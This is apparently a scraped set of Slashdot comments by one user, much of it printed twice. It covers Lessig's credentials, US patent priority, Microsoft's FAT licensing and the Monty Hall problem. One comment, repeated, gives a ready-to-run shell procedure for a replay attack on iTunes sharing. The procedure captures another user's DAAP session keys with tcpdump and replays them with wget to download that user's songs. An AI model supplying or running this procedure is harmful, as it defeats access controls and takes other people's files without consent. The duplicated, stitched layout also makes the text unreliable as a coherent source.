Mercedes did open a plant in South Africa, but the cars were less reliable than from other plants. It took Mercedes a bit of effort to get the quality up and to win back customer doubts.
Maybe, but they weren't always that way. At one point I had to deal with a Pentium (Win 95, Office 95 or 97) and a 286 (DOS, Word 6.0) that could not read each other's file formats. Ended up making do with RTF, which they were mostly compatible on.
It's also unclear how much longer 16-bit compatibility will last in Windows. Rumors say it will be gone real soon now.
Again I think you'd have to look at e.g. IBM mainframes to see backwards compatibility over an extended time.
Ah, I realized someone would call me on my imprecision. Clearly becoming a lawyer doesn't mean that you can no longer call yourself "doctor" if you already were one. What I meant to say is that no self-respecting lawyer who only has a J.D. calls himself "doctor," and I was pointing out to the parent that Prof. Lessig has earned a J.D. and an M.A. but not a Ph.D. (or M.D., or Ed.D., or...) and therefore should not be addressed as "Dr. Lessig."
Although I'm not sure of the reason for this, it probably has something to do with the J.D. being a recently renamed American version of the L.L.B. or possibly because the J.D. is only a three-year degree, while the M.D. and Ph.D. are typically four years at least.
Even after six years of graduate school, including a J.D., I wouldn't feel comfortable calling myself "doctor." At the same time I won't ever put the ", Esq." suffix after my name because I see it as a rather arch Americanism, although in my mind it is perfectly acceptable, if a bit quaint to address a letter to a man (any man) in that way.
The "continuing education" remark of yours is a red herring, since many professions (including nursing and x-ray technician) require continuing education but they cannot call themselves "doctor," but there is no continuing education requirement for an earned Ph.D to call himself "doctor."
I guess I should be more articulate in the future, so as not to have my messages lumped in with the GNAA trolls.
I should say that my experiences with Lawrence Lessig's substantial ego are personal. Many other people in my class shared my impression of him. Most law professors at Stanford are gracious and genuinely care about teaching but he is one of the exceptions.
The clever word "Copy Left" was used to apply to the prominent professors articulating the ideology. It was not intended to apply to the free software movement. In fact, since the word appears right after a direct quote from Lawrence Lessig defining his viewpoints, it's probable that Prof. Lessig himself suggested the terminology to the reporter. If you think that the word is rather pompous and self-aggrandizing, well, that's Lawrence Lessig for you.
The article states that the term was used "to borrow a term originally used by software programmers to signal that their product bore fewer than the usual amount of copyright restrictions." That is, the article author is flat-out saying that they borrowed the original word "copyleft" and turned it into "Copy Left" to mean something else.
If you would read the original article more carefully you would see that Microsoft is licensing *patents* relating to FAT/VFAT as well as canonical source code and *test* code. What I said still stands. There is no need to reverse engineer anything because all of the technology was publicly disclosed in the patents and other freely available documents. The way patents work is that you need to disclose any technology that you claim.
On another matter (because I strive not to merely regurgitate articles for karma in my messages) it is unlikely that Microsoft would sue anyone for patent infringement relating to FAT. Patent suits normally run $3m to $6m, and by stating in advance that a license is worth no more than $250k Microsoft is ensuring it would never collect more than that in damages. Moreover, Microsoft has a history of not suing for patent infringement. Although at any given time it is engaged in a dozen or more patent suits it is always on the receiving end. Lots of little companies have their eyes set on the Microsoft pot o' gold... Patent litigation is not at all profitable for Microsoft.
So in conclusion, the worth of the license is mainly in the canonical source code.
Appendix C (pages 6 through 18) of the DOS 1.1 manual gave bit-level instructions on how to write and read FAT. Obviously, this was just FAT12 instead of FAT16 or FAT32, but it's never been the case that you needed to "reverse engineer" FAT to write an implementation. The specs have always been freely available.
I agree with your statement that the canonical implementation has some value, though.
No, the U.S. looks at who reduced the invention to practice first (basically, "built it and knew it worked for its intended purpose") unless the junior inventor can show that he conceived of the invention first and worked diligently to reduce it to practice. In that case, the person who reduces the invention to practice second wins the priority contest.
The telephone cases are a bad example, because there neither of the inventors had reduced the invention to practice. In that scenario, the patent office indeed looks at who files first, as a form of "constructive reduction to practice." The usual scenario involves an inventor who actually reduced his invention to practice. (For instance, how would you file a drug patent without making and testing the drug first?)
The U.S. is relatively rare in having a first-to-invent system.
this is the original MP3 / M4A file. the only thing that changes is the filename, and you can rename that back to something sensible with applescript. no reencoding loss.
Yeah, basically does the same thing as MyTunes, under Mac. The older Mac programs that let you poach shared iTunes files and save them on your hard drive didn't work with the new version of iTunes because Apple added session keys.
The way it works is basically just a replay attack. In a given session the two iTunes programs (local, remote) figure out a session key, and from then on each file request includes a key for that file. tcpdump eavesdrops on these file requests and saves the keys. Then once you have them, you can re-use the keys until the local iTunes program tells the remote iTunes program that the session is terminated. That's why you have to leave iTunes open until you're done getting the files.
You can use any http program to actually get the files, as long as the program lets you add extra lines to the HTTP request header (that's where the file keys go). That's easy to do in wget.
The transfers are pretty zippy once you get them started - on a fast ethernet network like you'd find in a campus setting, each song downloads in under a second.
It was pretty easy to figure out what was going on, actually, just by looking at the tcpdump output. It's HTTP and they left it in printable ASCII.
#open itunes #begin playing music netstat | grep 3689 #look for multiple connections to the same computer, that's his address #on the right and yours on the left setenv him HISADDR setenv me MYADDR #en1 = wireless, en0 = wired sudo tcpdump -i en1 -s 0 -w itunes.log src $me and dst $him #begin playing each of the songs you want (only need to play a second or two) #don't close itunes! #hit ctrl-c in terminal with tcpdump running, it should say it captured some number of pkts strings itunes.log | egrep "(GET.*update)|(GET.*databases)|Validation" > songs
#songs now has a list of magic cookies, each alternating line is the file or the password grep GET songs > get ; grep DAAP songs > daap ; wc get daap #the first two lines of first column should be the same (tested under iTunes 4.1.0) paste get daap | egrep "GET.*items/" | sed "s|.*GET|./get_one|" > get_all cat > get_one #then type these next two lines, hit return, and hit ctrl-d wget --header="Client-DAAP-Access-Index: 1" \ --header="Client-DAAP-Validation: $4" "http://$him:3689$1" chmod +x get_one get_all ./get_all #close itunes
#now to rename the songs to have sensible extensions mkdir tmp mv *mp3*session* *m4a*session* tmp cd tmp ls | grep session > old tr '?=' '\t\t' < old > new0 cut -f1 new0 > new cut -f2 new0 | sed "s|session-id|mv|" > new1 paste new1 old new > fix_all chmod +x fix_all ./fix_all rm old new new0 new1 fix_all mv *.mp3 *.m4a.. cd.. rmdir tmp
#after loading into itunes, can use one of several applescripts to rename the filenames from 454.mp3 #some of the scripts rename *.m4a to *.mp3 - then the songs don't play. to rename them back #move the *.mp3 AAC files to their own directory, then ls *.mp3 | sed 's/\\/\\\\/g' | sed 's/\$/\\\$/g' | sed 's/"/\\"/g' |\ sed 's/`/\\`/g' > files cat files | sed 's/^/mv "/' | sed 's/\.mp3/.mp3" "/' > old cat files | sed 's/\.mp3/.m4a"/' > new paste "-d\0" old new > fix_all chmod +x fix_all ./fix_all rm files old new fix_all
Look, it doesn't matter what the host was thinking when he opened the door. The probabilities don't change depending on whether he wished to open a door with a prize or not.
If it so happened that he opened the door with the prize, then your choice would be really easy. But he didn't.
You just need to look at the conditional probabilities. The conditional probability that the prize is in the other door, given that he's opened a door with no prize, means that you should switch.
That's why mathematicians state the problem the way they do.
Your example of a new algorithm is incorrect (or incomplete). An algorithm in the abstract that hasn't been put to a "practical application" is not patentable. Merely solving mathematical problems is not patentable. See section 800.IV of the manual of patent examining procedure.
Slashdot Mirror
The real problem is that sending watts doesn't do you any good unless the other guy can send watts back or you've got a gigantic antenna.
Mercedes did open a plant in South Africa, but the cars were less reliable than from other plants. It took Mercedes a bit of effort to get the quality up and to win back customer doubts.
It's also unclear how much longer 16-bit compatibility will last in Windows. Rumors say it will be gone real soon now.
Again I think you'd have to look at e.g. IBM mainframes to see backwards compatibility over an extended time.
Ah, I realized someone would call me on my imprecision. Clearly becoming a lawyer doesn't mean that you can no longer call yourself "doctor" if you already were one. What I meant to say is that no self-respecting lawyer who only has a J.D. calls himself "doctor," and I was pointing out to the parent that Prof. Lessig has earned a J.D. and an M.A. but not a Ph.D. (or M.D., or Ed.D., or ...) and therefore should not be addressed as "Dr. Lessig."
Although I'm not sure of the reason for this, it probably has something to do with the J.D. being a recently renamed American version of the L.L.B. or possibly because the J.D. is only a three-year degree, while the M.D. and Ph.D. are typically four years at least.
Even after six years of graduate school, including a J.D., I wouldn't feel comfortable calling myself "doctor." At the same time I won't ever put the ", Esq." suffix after my name because I see it as a rather arch Americanism, although in my mind it is perfectly acceptable, if a bit quaint to address a letter to a man (any man) in that way.
The "continuing education" remark of yours is a red herring, since many professions (including nursing and x-ray technician) require continuing education but they cannot call themselves "doctor," but there is no continuing education requirement for an earned Ph.D to call himself "doctor."
I guess I should be more articulate in the future, so as not to have my messages lumped in with the GNAA trolls.
I should say that my experiences with Lawrence Lessig's substantial ego are personal. Many other people in my class shared my impression of him. Most law professors at Stanford are gracious and genuinely care about teaching but he is one of the exceptions.
Sure, they talk about the Copy Left and Lawrence Lessig's ideas on the top of page two (on the online edition).
The clever word "Copy Left" was used to apply to the prominent professors articulating the ideology. It was not intended to apply to the free software movement. In fact, since the word appears right after a direct quote from Lawrence Lessig defining his viewpoints, it's probable that Prof. Lessig himself suggested the terminology to the reporter. If you think that the word is rather pompous and self-aggrandizing, well, that's Lawrence Lessig for you.
The article states that the term was used "to borrow a term originally used by software programmers to signal that their product bore fewer than the usual amount of copyright restrictions." That is, the article author is flat-out saying that they borrowed the original word "copyleft" and turned it into "Copy Left" to mean something else.
Lessig isn't a doctor of anything. He has a J.D. just like any other American lawyer but no lawyers actually call themselves "doctor."
On another matter (because I strive not to merely regurgitate articles for karma in my messages) it is unlikely that Microsoft would sue anyone for patent infringement relating to FAT. Patent suits normally run $3m to $6m, and by stating in advance that a license is worth no more than $250k Microsoft is ensuring it would never collect more than that in damages. Moreover, Microsoft has a history of not suing for patent infringement. Although at any given time it is engaged in a dozen or more patent suits it is always on the receiving end. Lots of little companies have their eyes set on the Microsoft pot o' gold... Patent litigation is not at all profitable for Microsoft.
So in conclusion, the worth of the license is mainly in the canonical source code.
I agree with your statement that the canonical implementation has some value, though.
No, the U.S. looks at who reduced the invention to practice first (basically, "built it and knew it worked for its intended purpose") unless the junior inventor can show that he conceived of the invention first and worked diligently to reduce it to practice. In that case, the person who reduces the invention to practice second wins the priority contest.
The telephone cases are a bad example, because there neither of the inventors had reduced the invention to practice. In that scenario, the patent office indeed looks at who files first, as a form of "constructive reduction to practice." The usual scenario involves an inventor who actually reduced his invention to practice. (For instance, how would you file a drug patent without making and testing the drug first?)
The U.S. is relatively rare in having a first-to-invent system.
this is the original MP3 / M4A file. the only thing that changes is the filename, and you can rename that back to something sensible with applescript. no reencoding loss.
The way it works is basically just a replay attack. In a given session the two iTunes programs (local, remote) figure out a session key, and from then on each file request includes a key for that file. tcpdump eavesdrops on these file requests and saves the keys. Then once you have them, you can re-use the keys until the local iTunes program tells the remote iTunes program that the session is terminated. That's why you have to leave iTunes open until you're done getting the files.
You can use any http program to actually get the files, as long as the program lets you add extra lines to the HTTP request header (that's where the file keys go). That's easy to do in wget.
The transfers are pretty zippy once you get them started - on a fast ethernet network like you'd find in a campus setting, each song downloads in under a second.
It was pretty easy to figure out what was going on, actually, just by looking at the tcpdump output. It's HTTP and they left it in printable ASCII.
On a Mac, try this:
.. ..
#open itunes
#begin playing music
netstat | grep 3689
#look for multiple connections to the same computer, that's his address
#on the right and yours on the left
setenv him HISADDR
setenv me MYADDR
#en1 = wireless, en0 = wired
sudo tcpdump -i en1 -s 0 -w itunes.log src $me and dst $him
#begin playing each of the songs you want (only need to play a second or two)
#don't close itunes!
#hit ctrl-c in terminal with tcpdump running, it should say it captured some number of pkts
strings itunes.log | egrep "(GET.*update)|(GET.*databases)|Validation" > songs
#songs now has a list of magic cookies, each alternating line is the file or the password
grep GET songs > get ; grep DAAP songs > daap ; wc get daap
#the first two lines of first column should be the same (tested under iTunes 4.1.0)
paste get daap | egrep "GET.*items/" | sed "s|.*GET|./get_one|" > get_all
cat > get_one
#then type these next two lines, hit return, and hit ctrl-d
wget --header="Client-DAAP-Access-Index: 1" \
--header="Client-DAAP-Validation: $4" "http://$him:3689$1"
chmod +x get_one get_all
./get_all
#close itunes
#now to rename the songs to have sensible extensions
mkdir tmp
mv *mp3*session* *m4a*session* tmp
cd tmp
ls | grep session > old
tr '?=' '\t\t' < old > new0
cut -f1 new0 > new
cut -f2 new0 | sed "s|session-id|mv|" > new1
paste new1 old new > fix_all
chmod +x fix_all
./fix_all
rm old new new0 new1 fix_all
mv *.mp3 *.m4a
cd
rmdir tmp
#after loading into itunes, can use one of several applescripts to rename the filenames from 454.mp3
#some of the scripts rename *.m4a to *.mp3 - then the songs don't play. to rename them back
#move the *.mp3 AAC files to their own directory, then
ls *.mp3 | sed 's/\\/\\\\/g' | sed 's/\$/\\\$/g' | sed 's/"/\\"/g' |\
sed 's/`/\\`/g' > files
cat files | sed 's/^/mv "/' | sed 's/\.mp3/.mp3" "/' > old
cat files | sed 's/\.mp3/.m4a"/' > new
paste "-d\0" old new > fix_all
chmod +x fix_all
./fix_all
rm files old new fix_all
Look, it doesn't matter what the host was thinking when he opened the door. The probabilities don't change depending on whether he wished to open a door with a prize or not. If it so happened that he opened the door with the prize, then your choice would be really easy. But he didn't. You just need to look at the conditional probabilities. The conditional probability that the prize is in the other door, given that he's opened a door with no prize, means that you should switch. That's why mathematicians state the problem the way they do.
Your example of a new algorithm is incorrect (or incomplete). An algorithm in the abstract that hasn't been put to a "practical application" is not patentable. Merely solving mathematical problems is not patentable. See section 800.IV of the manual of patent examining procedure.